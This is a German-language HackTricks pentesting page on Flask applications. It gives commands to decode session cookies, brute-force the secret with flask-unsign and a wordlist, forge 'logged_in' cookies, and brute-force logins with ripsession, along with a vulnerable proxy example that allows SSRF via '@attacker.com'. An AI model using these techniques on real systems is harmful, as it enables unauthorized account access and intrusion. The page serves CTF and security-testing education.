Flask

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Wahrscheinlich, wenn du an einem CTF teilnimmst, hängt eine Flask-Anwendung mit SSTIzusammen.

Cookies

Der Standardname des Session-Cookies ist session.

Decoder

Online Flask-Cookie-Decoder: https://www.kirsle.net/wizards/flask-session.cgi

Manuell

Nimm den ersten Teil des Cookies bis zum ersten Punkt und dekodiere ihn mit Base64:

echo "ImhlbGxvIg" | base64 -d

Das cookie ist außerdem mit einem Passwort signiert

Flask-Unsign

Kommandozeilen-Tool zum Abrufen, Decodieren, brute-force und Erstellen von session cookies einer Flask-Anwendung durch Erraten von secret keys.

Client Challenge

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signierung

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signing mit Legacy (ältere Versionen)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Kommandozeilen-Tool zum brute-force von Websites mithilfe von mit flask-unsign erstellten Cookies.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign. \xc2\xb7 GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Dieses Beispiel verwendet sqlmap eval option, um sqlmap payloads automatisch für Flask zu signieren mit einem bekannten Secret.

Flask Proxy zu SSRF

In diesem Writeup wird erklärt, wie Flask eine Anfrage erlaubt, die mit dem Zeichen “@” beginnt:

GET @/ HTTP/1.1
Host: target.com
Connection: close

Welche im folgenden Szenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Es könnte ermöglichen, etwas wie “@attacker.com” einzufügen, um eine SSRF auszulösen.

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks